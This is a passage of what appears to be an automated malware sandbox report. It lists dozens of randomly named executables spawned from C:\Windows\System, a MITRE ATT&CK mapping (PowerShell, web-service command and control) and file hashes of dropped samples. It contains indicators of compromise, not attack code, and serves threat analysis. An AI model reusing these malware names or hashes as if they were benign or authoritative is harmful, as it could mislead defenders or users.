  2⤵
  PID:13040
- C:\Windows\System\vmdfxWc.exe
  C:\Windows\System\vmdfxWc.exe
  2⤵
  PID:13112
- C:\Windows\System\YaKnjcn.exe
  C:\Windows\System\YaKnjcn.exe
  2⤵
  PID:5144
- C:\Windows\System\dbUBbwI.exe
  C:\Windows\System\dbUBbwI.exe
  2⤵
  PID:7468
- C:\Windows\System\LTdLZQB.exe
  C:\Windows\System\LTdLZQB.exe
  2⤵
  PID:13288
- C:\Windows\System\oYpxPPi.exe
  C:\Windows\System\oYpxPPi.exe
  2⤵
  PID:12360
- C:\Windows\System\chFlLiK.exe
  C:\Windows\System\chFlLiK.exe
  2⤵
  PID:12468
- C:\Windows\System\qQfslCE.exe
  C:\Windows\System\qQfslCE.exe
  2⤵
  PID:7604
- C:\Windows\System\sDrxLtr.exe
  C:\Windows\System\sDrxLtr.exe
  2⤵
  PID:12812
- C:\Windows\System\zyTgubm.exe
  C:\Windows\System\zyTgubm.exe
  2⤵
  PID:14228
- C:\Windows\System\bXmWTgE.exe
  C:\Windows\System\bXmWTgE.exe
  2⤵
  PID:6628
- C:\Windows\System\LXCQlCH.exe
  C:\Windows\System\LXCQlCH.exe
  2⤵
  PID:13740
- C:\Windows\System\RYwVPfQ.exe
  C:\Windows\System\RYwVPfQ.exe
  2⤵
  PID:8120
- C:\Windows\System\enVVmAf.exe
  C:\Windows\System\enVVmAf.exe
  2⤵
  PID:7744
- C:\Windows\System\PeKbWCd.exe
  C:\Windows\System\PeKbWCd.exe
  2⤵
  PID:10060
- C:\Windows\System\GEdyvzz.exe
  C:\Windows\System\GEdyvzz.exe
  2⤵
  PID:10108
- C:\Windows\System\qBxFlSM.exe
  C:\Windows\System\qBxFlSM.exe
  2⤵
  PID:996
- C:\Windows\System\dThwRpx.exe
  C:\Windows\System\dThwRpx.exe
  2⤵
  PID:10232
- C:\Windows\System\hKnFghT.exe
  C:\Windows\System\hKnFghT.exe
  2⤵
  PID:632
- C:\Windows\System\MqdCcNw.exe
  C:\Windows\System\MqdCcNw.exe
  2⤵
  PID:9540
- C:\Windows\System\simwbwA.exe
  C:\Windows\System\simwbwA.exe
  2⤵
  PID:9856
- C:\Windows\System\BHXnwrb.exe
  C:\Windows\System\BHXnwrb.exe
  2⤵
  PID:3436
- C:\Windows\System\VOuRmHj.exe
  C:\Windows\System\VOuRmHj.exe
  2⤵
  PID:13236
- C:\Windows\System\iBQYDol.exe
  C:\Windows\System\iBQYDol.exe
  2⤵
  PID:12412
- C:\Windows\System\RewUWKe.exe
  C:\Windows\System\RewUWKe.exe
  2⤵
  PID:12616
- C:\Windows\System\KyeqUpi.exe
  C:\Windows\System\KyeqUpi.exe
  2⤵
  PID:2608
- C:\Windows\System\sjgEegT.exe
  C:\Windows\System\sjgEegT.exe
  2⤵
  PID:4088
- C:\Windows\System\jCbQjfC.exe
  C:\Windows\System\jCbQjfC.exe
  2⤵
  PID:10200
- C:\Windows\System\assIZDZ.exe
  C:\Windows\System\assIZDZ.exe
  2⤵
  PID:10368
- C:\Windows\System\WAnEqZK.exe
  C:\Windows\System\WAnEqZK.exe
  2⤵
  PID:10480
- C:\Windows\System\goUGIiv.exe
  C:\Windows\System\goUGIiv.exe
  2⤵
  PID:10624
- C:\Windows\System\RwWESVw.exe
  C:\Windows\System\RwWESVw.exe
  2⤵
  PID:10764
- C:\Windows\System\ocpTwfu.exe
  C:\Windows\System\ocpTwfu.exe
  2⤵
  PID:10900
- C:\Windows\System\piVvkcQ.exe
  C:\Windows\System\piVvkcQ.exe
  2⤵
  PID:5388
- C:\Windows\System\CZuOaFQ.exe
  C:\Windows\System\CZuOaFQ.exe
  2⤵
  PID:11096
- C:\Windows\System\AMUPetT.exe
  C:\Windows\System\AMUPetT.exe
  2⤵
  PID:3452
- C:\Windows\System\TALDBQV.exe
  C:\Windows\System\TALDBQV.exe
  2⤵
  PID:5644
- C:\Windows\System\LErafjP.exe
  C:\Windows\System\LErafjP.exe
  2⤵
  PID:10960
- C:\Windows\System\IcYaUkd.exe
  C:\Windows\System\IcYaUkd.exe
  2⤵
  PID:2520
- C:\Windows\System\OiYUKHV.exe
  C:\Windows\System\OiYUKHV.exe
  2⤵
  PID:3788
- C:\Windows\System\bNUZuQg.exe
  C:\Windows\System\bNUZuQg.exe
  2⤵
  PID:10592
- C:\Windows\System\iPOHgzn.exe
  C:\Windows\System\iPOHgzn.exe
  2⤵
  PID:9060
- C:\Windows\System\eLobUaL.exe
  C:\Windows\System\eLobUaL.exe
  2⤵
  PID:1792
- C:\Windows\System\BsgNzqK.exe
  C:\Windows\System\BsgNzqK.exe
  2⤵
  PID:12908
- C:\Windows\System\lPzDIQc.exe
  C:\Windows\System\lPzDIQc.exe
  2⤵
  PID:5792
- C:\Windows\System\MuFfdlc.exe
  C:\Windows\System\MuFfdlc.exe
  2⤵
  PID:11684
- C:\Windows\System\SLdQfDz.exe
  C:\Windows\System\SLdQfDz.exe
  2⤵
  PID:11824
- C:\Windows\System\qsfaNCu.exe
  C:\Windows\System\qsfaNCu.exe
  2⤵
  PID:13912
- C:\Windows\System\dwoSTBK.exe
  C:\Windows\System\dwoSTBK.exe
  2⤵
  PID:6192
- C:\Windows\System\Ewgcefp.exe
  C:\Windows\System\Ewgcefp.exe
  2⤵
  PID:5432
- C:\Windows\System\gSIuwfj.exe
  C:\Windows\System\gSIuwfj.exe
  2⤵
  PID:13524
- C:\Windows\System\smtSmZo.exe
  C:\Windows\System\smtSmZo.exe
  2⤵
  PID:13960
- C:\Windows\System\kgYmPPe.exe
  C:\Windows\System\kgYmPPe.exe
  2⤵
  PID:11780
- C:\Windows\System\nxneSLp.exe
  C:\Windows\System\nxneSLp.exe
  2⤵
  PID:11276
- C:\Windows\System\FRzpzsd.exe
  C:\Windows\System\FRzpzsd.exe
  2⤵
  PID:4560
- C:\Windows\System\eKpMlic.exe
  C:\Windows\System\eKpMlic.exe
  2⤵
  PID:3320
- C:\Windows\System\cqkyqHz.exe
  C:\Windows\System\cqkyqHz.exe
  2⤵
  PID:12292
- C:\Windows\System\uhfOXKQ.exe
  C:\Windows\System\uhfOXKQ.exe
  2⤵
  PID:12912
- C:\Windows\System\HyqFHoF.exe
  C:\Windows\System\HyqFHoF.exe
  2⤵
  PID:11124
- C:\Windows\System\CTirVlx.exe
  C:\Windows\System\CTirVlx.exe
  2⤵
  PID:11196
- C:\Windows\System\ZoUbwky.exe
  C:\Windows\System\ZoUbwky.exe
  2⤵
  PID:11292
- C:\Windows\System\MTLoNKo.exe
  C:\Windows\System\MTLoNKo.exe
  2⤵
  PID:14140
- C:\Windows\System\Urrxvta.exe
  C:\Windows\System\Urrxvta.exe
  2⤵
  PID:4016
- C:\Windows\System\SqBThgO.exe
  C:\Windows\System\SqBThgO.exe
  2⤵
  PID:3636
- C:\Windows\System\VMQTMRZ.exe
  C:\Windows\System\VMQTMRZ.exe
  2⤵
  PID:14192
- C:\Windows\System\cCShREI.exe
  C:\Windows\System\cCShREI.exe
  2⤵
  PID:14212
- C:\Windows\System\EWKsHWN.exe
  C:\Windows\System\EWKsHWN.exe
  2⤵
  PID:12848
- C:\Windows\System\XYIWTwO.exe
  C:\Windows\System\XYIWTwO.exe
  2⤵
  PID:13712
- C:\Windows\System\sLaPFLu.exe
  C:\Windows\System\sLaPFLu.exe
  2⤵
  PID:7472
- C:\Windows\System\GOtKuNs.exe
  C:\Windows\System\GOtKuNs.exe
  2⤵
  PID:2500
- C:\Windows\System\gxqXcWL.exe
  C:\Windows\System\gxqXcWL.exe
  2⤵
  PID:6740
- C:\Windows\System\LPCxyAv.exe
  C:\Windows\System\LPCxyAv.exe
  2⤵
  PID:8844
- C:\Windows\System\oYKVNXC.exe
  C:\Windows\System\oYKVNXC.exe
  2⤵
  PID:5948
- C:\Windows\System\tuIvTNJ.exe
  C:\Windows\System\tuIvTNJ.exe
  2⤵
  PID:9700
- C:\Windows\System\JPMSNmq.exe
  C:\Windows\System\JPMSNmq.exe
  2⤵
  PID:3980
- C:\Windows\System\VaacCkb.exe
  C:\Windows\System\VaacCkb.exe
  2⤵
  PID:11772
- C:\Windows\System\wcihbGf.exe
  C:\Windows\System\wcihbGf.exe
  2⤵
  PID:13400
- C:\Windows\System\FpQAkRL.exe
  C:\Windows\System\FpQAkRL.exe
  2⤵
  PID:2012
- C:\Windows\System\qoZfzbX.exe
  C:\Windows\System\qoZfzbX.exe
  2⤵
  PID:12772
- C:\Windows\System\UwvbeCQ.exe
  C:\Windows\System\UwvbeCQ.exe
  2⤵
  PID:10248
- C:\Windows\System\wWvbBsQ.exe
  C:\Windows\System\wWvbBsQ.exe
  2⤵
  PID:10708
- C:\Windows\System\iOtLitl.exe
  C:\Windows\System\iOtLitl.exe
  2⤵
  PID:11076
- C:\Windows\System\RFOUobB.exe
  C:\Windows\System\RFOUobB.exe
  2⤵
  PID:10544
- C:\Windows\System\TrKtCQT.exe
  C:\Windows\System\TrKtCQT.exe
  2⤵
  PID:8820
- C:\Windows\System\vMUBegK.exe
  C:\Windows\System\vMUBegK.exe
  2⤵
  PID:7172
- C:\Windows\System\yhJVncZ.exe
  C:\Windows\System\yhJVncZ.exe
  2⤵
  PID:12296
- C:\Windows\System\rLBKKeV.exe
  C:\Windows\System\rLBKKeV.exe
  2⤵
  PID:12692
- C:\Windows\System\ujhqvQX.exe
  C:\Windows\System\ujhqvQX.exe
  2⤵
  PID:12896
- C:\Windows\System\YMzYUtU.exe
  C:\Windows\System\YMzYUtU.exe
  2⤵
  PID:4660
- C:\Windows\System\ZkSipWE.exe
  C:\Windows\System\ZkSipWE.exe
  2⤵
  PID:6036
- C:\Windows\System\sCJyrYF.exe
  C:\Windows\System\sCJyrYF.exe
  2⤵
  PID:13012
- C:\Windows\System\AbcrLkc.exe
  C:\Windows\System\AbcrLkc.exe
  2⤵
  PID:6296
- C:\Windows\System\scAxAXv.exe
  C:\Windows\System\scAxAXv.exe
  2⤵
  PID:6248
- C:\Windows\System\XofIZDE.exe
  C:\Windows\System\XofIZDE.exe
  2⤵
  PID:11188
- C:\Windows\System\pqBQfuK.exe
  C:\Windows\System\pqBQfuK.exe
  2⤵
  PID:11192
- C:\Windows\System\cEwIWLc.exe
  C:\Windows\System\cEwIWLc.exe
  2⤵
  PID:11108
- C:\Windows\System\TjjaeKp.exe
  C:\Windows\System\TjjaeKp.exe
  2⤵
  PID:12600
- C:\Windows\System\VSzaPON.exe
  C:\Windows\System\VSzaPON.exe
  2⤵
  PID:7404
- C:\Windows\System\gXOdVrb.exe
  C:\Windows\System\gXOdVrb.exe
  2⤵
  PID:5172
- C:\Windows\System\GCPOAER.exe
  C:\Windows\System\GCPOAER.exe
  2⤵
  PID:13756
- C:\Windows\System\CbQvorz.exe
  C:\Windows\System\CbQvorz.exe
  2⤵
  PID:9832
- C:\Windows\System\hPesLLB.exe
  C:\Windows\System\hPesLLB.exe
  2⤵
  PID:9800
- C:\Windows\System\vEOnJRY.exe
  C:\Windows\System\vEOnJRY.exe
  2⤵
  PID:8416
- C:\Windows\System\WdJCIbz.exe
  C:\Windows\System\WdJCIbz.exe
  2⤵
  PID:11916
- C:\Windows\System\bfrbaBD.exe
  C:\Windows\System\bfrbaBD.exe
  2⤵
  PID:3544
- C:\Windows\System\BZPAvfb.exe
  C:\Windows\System\BZPAvfb.exe
  2⤵
  PID:6692
- C:\Windows\System\HvcMmSx.exe
  C:\Windows\System\HvcMmSx.exe
  2⤵
  PID:10320
- C:\Windows\System\KjFOvIB.exe
  C:\Windows\System\KjFOvIB.exe
  2⤵
  PID:1784
- C:\Windows\System\pUmjkEK.exe
  C:\Windows\System\pUmjkEK.exe
  2⤵
  PID:12884
- C:\Windows\System\WexqFGp.exe
  C:\Windows\System\WexqFGp.exe
  2⤵
  PID:13016
- C:\Windows\System\eWICmDl.exe
  C:\Windows\System\eWICmDl.exe
  2⤵
  PID:6428
- C:\Windows\System\KLumXUt.exe
  C:\Windows\System\KLumXUt.exe
  2⤵
  PID:3836
- C:\Windows\System\udQEnYc.exe
  C:\Windows\System\udQEnYc.exe
  2⤵
  PID:10564
- C:\Windows\System\gHWvOvX.exe
  C:\Windows\System\gHWvOvX.exe
  2⤵
  PID:12668
- C:\Windows\System\BAHYUMB.exe
  C:\Windows\System\BAHYUMB.exe
  2⤵
  PID:9240
- C:\Windows\System\ARdnhyM.exe
  C:\Windows\System\ARdnhyM.exe
  2⤵
  PID:10196
- C:\Windows\System\tFfCgSl.exe
  C:\Windows\System\tFfCgSl.exe
  2⤵
  PID:6992
- C:\Windows\System\wLPFetW.exe
  C:\Windows\System\wLPFetW.exe
  2⤵
  PID:11720
- C:\Windows\System\ydnpHYn.exe
  C:\Windows\System\ydnpHYn.exe
  2⤵
  PID:12200
- C:\Windows\System\yZcbCsV.exe
  C:\Windows\System\yZcbCsV.exe
  2⤵
  PID:7380
- C:\Windows\System\sCNfikK.exe
  C:\Windows\System\sCNfikK.exe
  2⤵
  PID:736
- C:\Windows\System\dorwxWS.exe
  C:\Windows\System\dorwxWS.exe
  2⤵
  PID:11524
- C:\Windows\System\fVlDdqa.exe
  C:\Windows\System\fVlDdqa.exe
  2⤵
  PID:13308
- C:\Windows\System\RvZvUba.exe
  C:\Windows\System\RvZvUba.exe
  2⤵
  PID:6336
- C:\Windows\System\LgGdvKD.exe
  C:\Windows\System\LgGdvKD.exe
  2⤵
  PID:13056
- C:\Windows\System\QdMjvvM.exe
  C:\Windows\System\QdMjvvM.exe
  2⤵
  PID:14364
- C:\Windows\System\VjOxsXy.exe
  C:\Windows\System\VjOxsXy.exe
  2⤵
  PID:14392
- C:\Windows\System\agfZAGQ.exe
  C:\Windows\System\agfZAGQ.exe
  2⤵
  PID:14420
- C:\Windows\System\ezredtv.exe
  C:\Windows\System\ezredtv.exe
  2⤵
  PID:14448
- C:\Windows\System\TKNQsnA.exe
  C:\Windows\System\TKNQsnA.exe
  2⤵
  PID:14476
- C:\Windows\System\QiKyVAp.exe
  C:\Windows\System\QiKyVAp.exe
  2⤵
  PID:14504
- C:\Windows\System\ywOHOlF.exe
  C:\Windows\System\ywOHOlF.exe
  2⤵
  PID:14532
- C:\Windows\System\JELSzCA.exe
  C:\Windows\System\JELSzCA.exe
  2⤵
  PID:14560
- C:\Windows\System\rNJhzXS.exe
  C:\Windows\System\rNJhzXS.exe
  2⤵
  PID:14588
- C:\Windows\System\NZBQpYA.exe
  C:\Windows\System\NZBQpYA.exe
  2⤵
  PID:14616
- C:\Windows\System\XKZPAuQ.exe
  C:\Windows\System\XKZPAuQ.exe
  2⤵
  PID:14644
- C:\Windows\System\JEVhieK.exe
  C:\Windows\System\JEVhieK.exe
  2⤵
  PID:14672
- C:\Windows\System\uSdrsjN.exe
  C:\Windows\System\uSdrsjN.exe
  2⤵
  PID:14704
- C:\Windows\System\tYYMMIo.exe
  C:\Windows\System\tYYMMIo.exe
  2⤵
  PID:14732
- C:\Windows\System\oZxhubo.exe
  C:\Windows\System\oZxhubo.exe
  2⤵
  PID:14760
- C:\Windows\System\MaoaTTg.exe
  C:\Windows\System\MaoaTTg.exe
  2⤵
  PID:14788
- C:\Windows\System\RXcJuIW.exe
  C:\Windows\System\RXcJuIW.exe
  2⤵
  PID:14816
- C:\Windows\System\rdUAUxu.exe
  C:\Windows\System\rdUAUxu.exe
  2⤵
  PID:14844
- C:\Windows\System\zNOGfIw.exe
  C:\Windows\System\zNOGfIw.exe
  2⤵
  PID:14872
- C:\Windows\System\MSfNprw.exe
  C:\Windows\System\MSfNprw.exe
  2⤵
  PID:14900
- C:\Windows\System\OtoPyul.exe
  C:\Windows\System\OtoPyul.exe
  2⤵
  PID:14928
- C:\Windows\System\ReixDPd.exe
  C:\Windows\System\ReixDPd.exe
  2⤵
  PID:14956
- C:\Windows\System\HPNsQPz.exe
  C:\Windows\System\HPNsQPz.exe
  2⤵
  PID:14984
- C:\Windows\System\SUnQGrK.exe
  C:\Windows\System\SUnQGrK.exe
  2⤵
  PID:15012
- C:\Windows\System\jTbeXTd.exe
  C:\Windows\System\jTbeXTd.exe
  2⤵
  PID:15040
- C:\Windows\System\nnmCynp.exe
  C:\Windows\System\nnmCynp.exe
  2⤵
  PID:15068
- C:\Windows\System\RibThXv.exe
  C:\Windows\System\RibThXv.exe
  2⤵
  PID:15096
- C:\Windows\System\wesUJYD.exe
  C:\Windows\System\wesUJYD.exe
  2⤵
  PID:15124
- C:\Windows\System\kpVhNZj.exe
  C:\Windows\System\kpVhNZj.exe
  2⤵
  PID:15152
- C:\Windows\System\QuqNqgA.exe
  C:\Windows\System\QuqNqgA.exe
  2⤵
  PID:15180
- C:\Windows\System\hSVzyqD.exe
  C:\Windows\System\hSVzyqD.exe
  2⤵
  PID:15208
- C:\Windows\System\LEkworn.exe
  C:\Windows\System\LEkworn.exe
  2⤵
  PID:15240
- C:\Windows\System\FMQlvrw.exe
  C:\Windows\System\FMQlvrw.exe
  2⤵
  PID:15268
- C:\Windows\System\XCUzVWu.exe
  C:\Windows\System\XCUzVWu.exe
  2⤵
  PID:15296
- C:\Windows\System\CimWfkA.exe
  C:\Windows\System\CimWfkA.exe
  2⤵
  PID:15324
- C:\Windows\System\jbjZzeK.exe
  C:\Windows\System\jbjZzeK.exe
  2⤵
  PID:15352
- C:\Windows\System\qqIESKU.exe
  C:\Windows\System\qqIESKU.exe
  2⤵
  PID:14372
- C:\Windows\System\RmzTqNU.exe
  C:\Windows\System\RmzTqNU.exe
  2⤵
  PID:14436
- C:\Windows\System\SoBpuzI.exe
  C:\Windows\System\SoBpuzI.exe
  2⤵
  PID:14500
- C:\Windows\System\tzaYEAz.exe
  C:\Windows\System\tzaYEAz.exe
  2⤵
  PID:14556
- C:\Windows\System\KbUFYKW.exe
  C:\Windows\System\KbUFYKW.exe
  2⤵
  PID:14624
- C:\Windows\System\vTLNRTc.exe
  C:\Windows\System\vTLNRTc.exe
  2⤵
  PID:14688
- C:\Windows\System\iyPJXaY.exe
  C:\Windows\System\iyPJXaY.exe
  2⤵
  PID:14776
- C:\Windows\System\RZhRxjv.exe
  C:\Windows\System\RZhRxjv.exe
  2⤵
  PID:14840
- C:\Windows\System\zSzaeIX.exe
  C:\Windows\System\zSzaeIX.exe
  2⤵
  PID:14908
- C:\Windows\System\cpSHidm.exe
  C:\Windows\System\cpSHidm.exe
  2⤵
  PID:14972
- C:\Windows\System\sqBPrIc.exe
  C:\Windows\System\sqBPrIc.exe
  2⤵
  PID:15036
- C:\Windows\System\YijuZbv.exe
  C:\Windows\System\YijuZbv.exe
  2⤵
  PID:15092
- C:\Windows\System\DvdarZS.exe
  C:\Windows\System\DvdarZS.exe
  2⤵
  PID:15160
- C:\Windows\System\zdhcgzo.exe
  C:\Windows\System\zdhcgzo.exe
  2⤵
  PID:13468
- C:\Windows\System\aHJMuSq.exe
  C:\Windows\System\aHJMuSq.exe
  2⤵
  PID:15284
- C:\Windows\System\JsXeKuO.exe
  C:\Windows\System\JsXeKuO.exe
  2⤵
  PID:13636
- C:\Windows\System\ZFUvlOR.exe
  C:\Windows\System\ZFUvlOR.exe
  2⤵
  PID:15120
- C:\Windows\System\QpLVeki.exe
  C:\Windows\System\QpLVeki.exe
  2⤵
  PID:14768
- C:\Windows\System\SoVZdmc.exe
  C:\Windows\System\SoVZdmc.exe
  2⤵
  PID:14896
- C:\Windows\System\nWtzXEi.exe
  C:\Windows\System\nWtzXEi.exe
  2⤵
  PID:13764
- C:\Windows\System\KbMoNmI.exe
  C:\Windows\System\KbMoNmI.exe
  2⤵
  PID:6976

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:13520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqshguvg.bm0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\FOsnmOn.exe

Filesize
3.3MB

MD5
3ff50db670458f7ee4fb2b907fcfffcf

SHA1
d1e5efa1c6b838c36ec20805c97a7f8f6a83de6b

SHA256
fe3b7bea66250e6ab5e86b1ba3f85c3431d079e384adb2a709d83ebc0665efbe

SHA512
72e8b9eec6449cd50f7bcceaf50eebf049cf9b87105ef93478f72eb2c251c52fc893f3a57054efb06cec82febb0f5ae655a52b7a9abeedbbf6eb75c24f51fdcc

Download Submit
C:\Windows\System\FUbZJyA.exe

Filesize
3.3MB

MD5
105081d14a446657d5236a651cbc45f4

SHA1
fdc1bcca87fa11c8444c9077566574feee0f2e19

SHA256
a819b8a4c182b02698254b2f2c71d3bbf3dd81d9463da2f2f6c95373adde901d

SHA512
5da5ddfbe2ae9626bf227c52a20a667fbe7ca572b874433b3de5a1d62542fb23acb024742feeae6a60d36a6e6cf3c54f73ae2211709e4f78bda732e2d81e4bb8

Download Submit
C:\Windows\System\HCnvCtB.exe

Filesize
3.3MB

MD5
38c573bad084fbc97d69973d3b889c9f

SHA1
24b04811a6b83911136077e0ab962b39f7364719

SHA256
f2434e8ba3834c25696dcd4f898b51dd6ca92b097386c150a0015983e6af4264

SHA512
56d6e074645759a1cab6838c8e51991ad88fd1c0ba66e88aae265b705a689443a1d6a4f35a1487857209a44f8f0f8c18a2f76ddecfde15598a1d9af4e89a7e22

Download Submit
C:\Windows\System\IWkcvvV.exe

Filesize
3.3MB

MD5
83b5433cc88b207c3889fc9c7ef33cb7

SHA1
f822e218ba713b10e9fa3f03a4636673e413a282

SHA256
f64745ac0e0f8d5b93454d5d49b11cae6613af7bcb196a63a71014af49fd27df

SHA512
de740b85134bc881a449f48731879c7e23d77b68e89d36ce8ae1435c86d6ec667e02953ad4c51701bfe786285f15d7d5d74d442f1793122538c108b2ac255bfa

Download Submit
C:\Windows\System\MUVTHXF.exe

Filesize
3.3MB

MD5
579e05e1fd5db77ee22a3e213afe7000

SHA1
c2004ea26f6ea871b3d41d74d2fd34e7bea32b96

SHA256
5f9a97e7bd815b9831a8f2aaec5cdf7fe597fe5a2219a90861937c924d7ca191

SHA512
bb40295483c770c62bc6c22a92c4494953f377f8af3e5d4cc2d0c5d8d896106682801aaf9442c73326bf37aafd5fc58661077a5f3f185bb42751528e9d6c79b7

Download Submit
C:\Windows\System\NHWcKmf.exe

Filesize
3.3MB

MD5
22fa1b331dc18e1b38a33479bd6003a2

SHA1
f3b1d569338b265dc545e5879c3b05567ae26a79

SHA256
37f1ca02b7393efa654f2b1cb8524d4cda3ad7aae5e530b0edc8803722977a41

SHA512
67b81e5700ad6a14a91ec5d96cdda0a9756e48677d84da1c57d82786b73e832a82dc9c4c08d060d5900e8046a62290105d95e9dbea59e93bf9185292d331fa3e

Download Submit
C:\Windows\System\NIQDfXa.exe

Filesize
3.3MB

MD5
a7f806ecdad95f788ece72802ae8dc3d

SHA1
43f4ec993daa3131ab03c74254856ba21b0f6227

SHA256
195d4c8924c7b9450fd4a20e1d9e6019f5fae3dc78e73efde729507a668b18ad

SHA512
15d4db394eff4990d4e628394a1c430deead5ce3aae30d6596a1394e6859928c2b5cb9790e05b41bd6067912be47ff85994e3a9ff6937fd5cf50d6db0631a3b3

Download Submit
C:\Windows\System\NaYJEWV.exe

Filesize
3.3MB

MD5
17699dcf0523c7ccc1120d5f8a26243f

SHA1
01730ee231bf049b90f76163477215ae87aad178

SHA256
e5ab975236bc6ffbc686b053a76c3bb588674c7b866631f0af65c117bf52d1c1

SHA512
49f76921ef66d4fbb9121b9302f04fcd1e4fcf0b7acd1014881e7e931e23bc05ca973db82318f6ee049e2c4d59870d71478773c7dbddf163693749143c7202d0

Download Submit
C:\Windows\System\PMFLQcA.exe

Filesize
3.3MB

MD5
c08e863756f94e79e8b5ff40ee71dd9e

SHA1
9006eda1751be7835e6d6de967bb6bdc66081665

SHA256
e33d24c395e33b0d12d608640b75a5ffba023b77c6e4c3fb75b2e21bb784de0f

SHA512
1fa0a61987af3c00bce4c4adc4da98c601b3e1229b273b72a6e35b72efa3c387982d69ead9203175bba2eafb77d032346f88eae56e5e4668c8f2f61ab2315b07

Download Submit
C:\Windows\System\RFmIoTk.exe

Filesize
3.3MB

MD5
042e2a5c0255481c3c2120736ec22db3

SHA1
5abd9503632cd05c79068e3e127ebaeba5f23ae9

SHA256
828ceeca3b586a14c80315c26d23de53fe3ea256e849bd4f76b65d62c79fd0d2

SHA512
3664bd3d06a75c52c5f25fe4bb39cfd9fc39cee24d887584fc8d55fe95de7d9fb42fe0c2ffaa9d2e88c46f52c807f48ae4746a3efe4964ba4076133efe6a70c8

Download Submit
C:\Windows\System\RXiPekL.exe

Filesize
3.3MB

MD5
f2550494420e931ad2ff58e5632535a5

SHA1
1654862dff2ecb83edafbfb4ac384aa5cfc38c99

SHA256
0e7987a1fae944686fcf44cd2e13cd9a2869edd24af3c5ac42baee030b31911a

SHA512
52f5d76618a7f792c41a87f8bd8cd3ea598c445f47462f5f69bee860ae7b0a809033bbb76bfd5a188b99c3f0dea37a45bc1cc64d2494d1dff0e97f95b66775ca

Download Submit
C:\Windows\System\TyeSNjO.exe

Filesize
3.3MB

MD5
44cdd6694cd6090cf583176108eecaad

SHA1
31cee7c5a0b0c7e9d236911a341f9243d37a0a6a

SHA256
02b52c87d3dc6dd30ac43fc185d2378baec4bd7be1fba7bc3d44947fa09edfab

SHA512
2489fabd969ce5fc499b0f2e6880ee8197571bf5b1bfcc3bedec989a4dca5b5005ff1184b528ebb6cae7e98d91c0e228a2fc3749265804c9b73434102905a6aa

Download Submit
C:\Windows\System\UZXGRLb.exe

Filesize
3.3MB

MD5
2d3a01aa4bc88c6908239e083f3f4f18

SHA1
03a217da94aff0ebc544394ecbcc370e0b9bd2d8

SHA256
2c0a08c7763e974f6e40c1d8bf0b5da6a2c56e38b6a694c988b1cf5cca224626

SHA512
0db0067f285d80a127263c73032f111ee5ab21a2dfa925d5bd09d446e632c5d883cc29635c336ef69f2a411840df23ecf9535dd306488bf96252b623e8691599

Download Submit
C:\Windows\System\UlcqAGB.exe

Filesize
3.3MB

MD5
98be427e740544e2eb077b7d0ae53167

SHA1
1feed0b79f5284259591d65646c6dca18ae7d487

SHA256
ad9e297f476b27249b8142dea127493886ba176dd1afd0fec701915357392765

SHA512
e8b204c4b6719fa71ce2ce9a4bdb3087e7cbfa624946bf3e641f215d05c94a1299f55fb22be0fe0d20d069c4b04e9492110efd9cef9fef55a023a7dc211ed7bf

Download Submit
C:\Windows\System\VaaFnGU.exe

Filesize
3.3MB

MD5
18c6d06d17dce2d81a72a4b7ec756c45

SHA1
e14f076963583963b2a42c04ff1255451390c65e

SHA256
59268dad33788ad6c1ee846c4a56dde707ae8c2f718a8469251ab9658c454516

SHA512
798e474ce5a730b396abd3e46392e842fae189221c8fda4687a4f9c39cc66bd3530ea1df89e6c61a690a9dddce109667d0b0c841d4748ed1ac268a0b31bfe288

Download Submit
C:\Windows\System\WKoCAGO.exe

Filesize
3.3MB

MD5
2cf98aa7a37e2999ee0a8c64f777e9eb

SHA1
2ff041ea9882adb8c196415ce79bc6ea3d376944

SHA256
63423bd80778c303976188a4b02da8d4c7c9a5f7effffddc7404e499520f47bc

SHA512
230529ad3188d76e5494f947fbaad335a517c51b9d485d61491dd0bd2613e7d79b833b75520f8aa8bb909577876f3799d79776f24902b4ac75dd49081e14dec0

Download Submit
C:\Windows\System\ZvZPgUo.exe

Filesize
3.3MB

MD5
8d1a2084992d70a674de079baf5125a9

SHA1
3a71cea6cb4ae99ea0acdb23c92a7d0531a45094

SHA256
b1f0846fe5296c1ad783dcfd8de3a5eba1a62701800256ab4a2b1b597ff551a6

SHA512
e9b246068557d091b12e68cb0ac65589f8436746fe1625c5726889f384b5e6c4f5ebad612fddb2fa8373aa32729a4f34580dbfd6a8d15e011924c26bed7f507f

Download Submit
C:\Windows\System\gQwCUmI.exe

Filesize
3.3MB

MD5
396c07a2a6f57b9af7c79493b26058d0

SHA1
0a8749463ae6f15f0aa721315444865e0bb1c307

SHA256
062ad595922d3b31cf3d7296b22d3b0f89f0144b73afc70c12340aa871a7d9da

SHA512
18834ed5197e19406ca568d458f54c12c00771085c233cc3e712327ccb8471652fa9630e7c1567afb3a2c68dd78c443ab6d10e25b672a0339a14d4a3198800f5

Download Submit
C:\Windows\System\mRHYJYB.exe

Filesize
3.3MB

MD5
1fc65c2dfdd115653e428f430d7825cf

SHA1
eeeeea851591146ab90154e0320ac3cbedea888f

SHA256
fbe3013609d3cc90bdf282fae1ad9baa83385de3480557e3e57d8d0e751a5ef0

SHA512
73d68bf1098ca821ccc5d35d3ab51c6fda7379ff91141879cb18f886fde9d3a8317a165392a563b965c01cf6387cbb6cb16edd24691b375793cc2e3bed597b26

Download Submit
C:\Windows\System\mipyUxR.exe

Filesize
3.3MB

MD5
4d8fc02110402835b3e2a00ddc676a27

SHA1
43bdf9303f47b9fd9f41def4a08d2bb0cfe0661a

SHA256
